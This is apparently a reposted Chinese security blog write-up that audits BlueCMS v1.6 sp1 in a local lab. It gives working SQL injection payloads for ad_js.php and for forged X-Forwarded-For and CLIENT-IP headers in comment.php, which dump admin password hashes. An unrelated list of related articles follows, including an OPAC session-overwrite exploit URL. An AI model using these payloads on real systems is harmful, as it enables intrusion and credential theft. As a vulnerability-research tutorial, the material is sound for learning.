代码审计之SQL注入:BlueCMSv1.6 sp1

这是一篇纪录关于BlueCMSv1.6 sp1两个SQL注入的审计过程,原文来自代码审计之SQL注入:BlueCMSv1.6 sp1 ,主要纪录一下个人在参考博文复现这两个漏洞经过。

href="https://www.ichunqiu.com/course/406" target="_blank">BlueCMS 1.6 SQL 注入漏洞

工具及环境

  • bluecms v2.1 sp1  
    •   链接:http://pan.baidu.com/s/1dFKLanR 密码:8v1c
  • seay审计系统  
    •   链接:http://pan.baidu.com/s/1dENS4KT 密码:rszt
  • 环境  
    • PHP: 5.4.45      
    • MYSQL: 5.5.53

环境搭建

  关于环境搭建,简单说几句。可以使用phpstudy这款集成化工具,可以很方便的使用和切换环境,安装好之后直接将下载好的bluecms的源码放到安装的路径下即可,如:C:\phpStudy\WWW。

  也即把\bluecms_v1.6_sp1\uploads目录下的文件放到C:\phpStudy\WWW目录下,因为我的C:\phpStudy\WWW目录下还有其他文件,就直接把解压后的bluecms_v1.6_sp1放在C:\phpStudy\WWW目录下了。在我这的路径是这样的:C:\phpStudy\WWW\bluecms_v1.6_sp1\uploads。

安装

  访问本地:http://localhost/bluecms_v1.6_sp1/, 能看到项目文件。

 

访问地址:http://localhost/bluecms_v1.6_sp1/uploads/install/index.php/就会进入到安装界面。

  环境检测:

  参数配置:

  这里唯一需要注意的就是数据库的密码要对上。

  再访问:http://localhost/bluecms_v1.6_sp1/uploads/,可以看到已经安装好了。

   关于环境搭建的部分就讲这些吧。

注入一

审计

  用Seay源代码审计系统审计一下看看,我们可以发现有很多可能的注入点,如第一个,在文件:/uploads/ad_js.php  

  选中该可能的注入点,右键单击打开文件,就能直接定位到该条语句了,内容如下:

$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);

getone()是自定义的函数,用来查询数据库,代码如下:(可双击选中该函数,然后右键单击定位函数,发现在:/uploads/include/mysql.class.php文件中,双击直接可定位到在文件中的位置)

  该函数的代码如下:

function getone($sql, $type=MYSQL_ASSOC){$query = $this->query($sql,$this->linkid);$row = mysql_fetch_array($query, $type);return $row;}

主要是插入到数据库查询语句中的$ad_id没有经过任何的过滤,因而导致了SQL注入。从代码中可以看出:

利用

先查下有多少列

ad_js.php?ad_id=1 union select 1,2,3,4,5,6,7

查询1...6列和8...列会显示出错信息,而查询7列时页面是空白的,此时查看源码,如红框中所示,可以看到第7列会回显,因此我们可以构造第7列的数据来回显我们想要的内容。

  查询下数据库信息:

ad_js.php?ad_id=1 union select 1,2,3,4,5,6,database()
ad_js.php?ad_id=1 union select 1,2,3,4,5,6,@@basedir

数据库名称是bluecms,路径如上所示。

提取数据

利用元数据表爆出表名

ad_js.php?ad_id=1 union select 1,2,3,4,5,6,group_concat(table_name) from information_schema.tables where table_schema=database()

爆字段

查看下blue_admin表中有哪些字段:

这里需要将表名转换为16进制:16进制到文本字符串的转换

ad_js.php?ad_id=1 union select 1,2,3,4,5,6,group_concat(table_name) from information_schema.tables where table_schema=database()

获取用户名密码

ad_js.php?ad_id=1 +UNION +SELECT+1,2,3,4,5,6,GROUP_CONCAT(admin_name,0x3a,pwd) FROM blue_admin

是用MD5值,其值为admin:

注入二

审计

再查看Seay发现的可疑注入点,在文件/uploads/include/common.fun.php中:

$ip变量的值从环境变量中获得,具体代码如下:(可右键点击查看相应文件内容)

function getip()
{if (getenv('HTTP_CLIENT_IP')){$ip = getenv('HTTP_CLIENT_IP'); }elseif (getenv('HTTP_X_FORWARDED_FOR')) { $ip = getenv('HTTP_X_FORWARDED_FOR');}elseif (getenv('HTTP_X_FORWARDED')) { $ip = getenv('HTTP_X_FORWARDED');}elseif (getenv('HTTP_FORWARDED_FOR')){$ip = getenv('HTTP_FORWARDED_FOR'); }elseif (getenv('HTTP_FORWARDED')){$ip = getenv('HTTP_FORWARDED');}else{ $ip = $_SERVER['REMOTE_ADDR'];}return $ip;
}

$ip的值可能是从HTTP_CLIENT_IP或HTTP_X_FORWARDED_FOR等变量中获得;

全局搜索一下使用到这个函数的地方一共有2处,中间那个是函数定义:

我们查看一下第一个文件:(代码113行,这是一个负责文章评论的代码文件)

我们可以看到,通过函数getip()获取到的$ip变量的值,直接插入到了SQL语句中,接着就执行了。由此可以看出,这里是存在SQL注入的。

文章发表

  从上面的页面(/uploads/comment.php)可以推断出,SQL注入出现在对文章进行评论的地方,因为之前在发表文章时出现点问题,现将解决的小trick分享给大家:

  首先,需要先注册一个用户,登陆之后进入到个人资料,有个文章分类,但是我在创建分类的时候老是出现问题,如右所示:

  而且通过管理员登陆也不能创建分类,甚是无奈,只能通过修改代码解决:

  我们找到发表文章的页面:http://localhost/bluecms_v1.6_sp1/uploads/user.php?act=add_news ,将判断新闻分类的部分注释掉,这样就不会因为没有分类的问题,而导致程序的执行过程被中断。

 

  好,那现在我们创建一篇文章,随意填写写内容即可:(步骤:进入个人中心->本地新闻->发布新闻)

  回到主页:

  查看下我们刚发布的文章,如下所示:

利用 

  我们回看下那段SQL语句:(隔得有点远)

$sql = "INSERT INTO ".table('comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check) VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '".getip()."', '$is_check')";$db->query($sql);

  可以看到,一共有9个参数,而insert语句可以一次插入多条数据,只要们在构造$ip的内容时,闭合掉前面的部分,使之变成完整的语句即可。

X-Forwarded-For

  通过X-Forwarded-For构造如下:

X-Forwarded-For: 00', '1'),('','1','0','1','6',(select concat('<u-',admin_name,'-u><p-',pwd,'-p>') from blue_admin), '1281181973','99

  在POST数据包头部添加X-Forwarded-For字段,内容如上:

  通过查看网页源代码的方式,我们可以看到admin用户密码的hash值:(其值为admin)

CLIENT-IP

  通过CLIENT-IP构造如下:

CLIENT-IP: 1', '1'),('','1','0','1','6',(select concat(admin_name,':',pwd) from blue_admin), '1','1

  POST数据包:

  可以看到admin密码的hash值直接显示到了页面上:(时间错乱了,请忽略)

   到此,就这样。(不清晰的图片可右键查看)

作者:starnight_cyber
出处:https://www.cnblogs.com/Hi-blog/
github:https://github.com/starnightcyber/

-------------------------------------------

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/358571.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

莫队算法 BOJ 2038 [2009国家集训队]小Z的袜子(hose)

题目传送门 1 /*2 莫队算法&#xff1a;求出[l, r]上取出两只相同袜子的个数。3 莫队算法是离线处理一类区间不修改查询类问题的算法。如果你知道了[L,R]的答案&#xff0c;可以在O(1)的时间下得到4 [L,R-1]和[L,R1]和[L-1,R]和[L1,R]&#xff0c;4个while…

linux prelink.cache,Linux基础操作

1、Linux上的文件管理类命令都有哪些&#xff0c;其常用的使用方法及其相关示例演示。1、1 cp复制命令单个文件复制&#xff1a;cp [OPTION]... SOURCE DEST如果DEST不存在&#xff0c;则事先创建文件&#xff0c;并复制源文件数据如果DEST是非目录文件&#xff0c;则覆盖目录文…

教你玩转CSS 分组选择器和嵌套选择器

目录 分组选择器 嵌套选择器 分组选择器 在样式表中有很多具有相同样式的元素。 h1 {color:green;}h2 {color:green;}p {color:green;} 为了尽量减少代码,你可以使用分组选择器。 每个选择器用逗号分隔。 在下面的例子中,我们对以上代码使用分组选择器: h1,h2,p {color…

记一次无意间发现某学校图书检索系统的变量覆盖漏洞

这是汇文OPAC很早就存在的一个严重漏洞 补充漏洞信息参考来源https://www.seebug.org/vuldb/ssvid-90722 1. 利用存在该漏洞参数的链接&#xff0c;访问存在漏洞文件&#xff0c;并覆盖 session 值 http://*******/opac/openlink_ebk.php?_SESSION[ADMIN_USER]opac_admin 2.…

多线程笔记5

第六章&#xff1a;Overlapped I/O&#xff0c;在你身后变戏法 1.overlapped I/O 是 Win32 的一项技术&#xff0c;你可以要求操作系统为你传送数据&#xff0c;并且在传送完毕时通知你。这项技术使你的程序在I/O 进行过程中仍然能够继续处理事务。事实上&#xff0c;操作系统内…

腾讯手游助手android版本,腾讯游戏助手下载-腾讯游戏助手 安卓版v3.3.4.22-PC6安卓网...

需要调用以下重要权限- 允许应用程序写入到外部存储器, 允许只读到电话状态访问&#xff0c;包括该装置的电话号码&#xff0c;当前蜂窝网络信息&#xff0c;任何正在进行的呼叫的状态&#xff0c;并且任何一个列表 PhoneAccount的注册在设备上, 允许应用程序从外部存储读取, 需…

java 并发 同步信号_Java并发教程–信号量

java 并发 同步信号这是我们将要进行的Java并发系列的第一部分。 具体来说&#xff0c;我们将深入研究Java 1.5及更高版本中内置的并发工具。 我们假设您对同步和易失性关键字有基本的了解。 第一篇文章将介绍信号量-特别是对信号量进行计数 。 信号量是用于限制对资源访问的经…

教你玩转CSS 尺寸 (Dimension)

目录 所有CSS 尺寸 (Dimension)属性 CSS 尺寸 (Dimension) 属性允许你控制元素的高度和宽度。同样&#xff0c;它允许你增加行间距。 所有CSS 尺寸 (Dimension)属性

目录扫描工具dirsearch用法

目录扫描工具-dirsearch 1.下载dirsearch#git clone https://github.com/maurosoria/dirsearch2. 进入dirsearch目录&#xff0c;进行扫描 每一列的含义分别是&#xff1a;扫描时间&#xff0c;状态码&#xff0c;大小&#xff0c;扫描的目录&#xff0c;重定向的地址 参数列…

Truncated incorrect DOUBLE value

我有点傻…… sql update语法&#xff0c;修改的字段之间要用,连接&#xff0c;而不是and 否则就会报错Truncated incorrect DOUBLE value…… 如&#xff1a; update teacher set IMAGE_URL #{1} and UPDATE_TIMEnow() where TEACHER_MOBILE #{0} 错误 update teacher set …

教你玩转CSS Display(显示) 与 Visibility(可见性)

目录 隐藏元素 - display:none或visibility:hidden CSS Display - 块和内联元素 如何改变一个元素显示 隐藏元素 - display:none或visibility:hidden 隐藏一个元素可以通过把display属性设置为”none”,或把visibility属性设置为”hidden”。但是请注意,这两种方法会产…

html dd自动换行,为什么我的dd里面的内容没有自动换行呢

2-6图文混排*{margin: 0;padding: 0;}.clear{clear: both;}.content{width: 1000px;margin: 0 auto;}.word{font-family: "微软雅黑";font-weight: bolder;font-size: 20px;padding-top: 10px;padding-bottom: 10px;text-align: center;}.content .pic-word dl{width…

Java 9抢先体验:与JShell的动手实践– Java REPL

从今天开始如何开始使用Java 9最酷的功能之一&#xff1f; 上周末&#xff0c;我终于开始尝试使用Java 9的早期访问版本了。第一站是JShell&#xff0c;它也被称为Project Kulla。 首先让我鼓起勇气尝试早期访问Java版本的原因。 那就对了。 Java 9的正式发布日期当前设置为2…

CSRF的绕过与利用

Origin & Referer Bypass Null值绕过 当遇到一个cors可用null值绕过时&#xff0c;用iframe配合data协议&#xff0c;就可以发送一个origin为null的请求。这个绕过方式同样也可以用在CSRF这里。 1<iframe sandbox"allow-scripts allow-top-navigation allow-forms&…

ASP.NET中禁止继承IIS中web.config根目录的配置

异常信息&#xff1a; Configuration Error Description: An error occurred during the processing of a configuration file required to service this request. Please review the specific error details below and modify your configuration file appropriately. Parser…

教你玩转CSS Position(定位)

目录 CSS Position(定位) static 定位 fixed 定位 relative 定位 absolute 定位 sticky 定位 重叠的元素 所有的CSS定位属性

jOOQ配置

本文是我们学院课程的一部分&#xff0c;标题为jOOQ –类型安全的数据库查询 。 在SQL和特定关系数据库很重要的Java应用程序中&#xff0c;jOOQ是一个不错的选择。 当JPA / Hibernate抽象过多&#xff0c;JDBC过多时&#xff0c;这是一种替代方法。 它显示了一种现代的领域特…

可隐藏选项卡html,隐藏HTML中选定选项卡的底部边框

我有一个水平HTML选项卡&#xff0c;其中我希望隐藏所选选项卡的底部边框。隐藏HTML中选定选项卡的底部边框这个问题已经被问here和here但这两种解决方案都不能正常工作&#xff0c;因为我使用一个div结构&#xff0c;没有太大的JavaScript。jQuery(.tab-links a).on(click, fu…

JWT攻击手册

JSON Web Token&#xff08;JWT&#xff09;对于渗透测试人员而言可能是一种非常吸引人的攻击途径&#xff0c;因为它们不仅是让你获得无限访问权限的关键&#xff0c;而且还被视为隐藏了通往以下特权的途径&#xff1a;特权升级&#xff0c;信息泄露&#xff0c;SQLi&#xff…

DIV+CSS 入门

玩一小会儿前csdn什么时候&#xff0c;页面上的加qq而微博&#xff0c;我认为这是美好的。牛腩完成。运营商也开始了他真正的学习B/S之旅。刚開始的时候&#xff0c;我不知道<div>是什么 也不清楚CSS用来干什么的&#xff0c;敲完了回过头来再看&#xff0c;好像明确了一…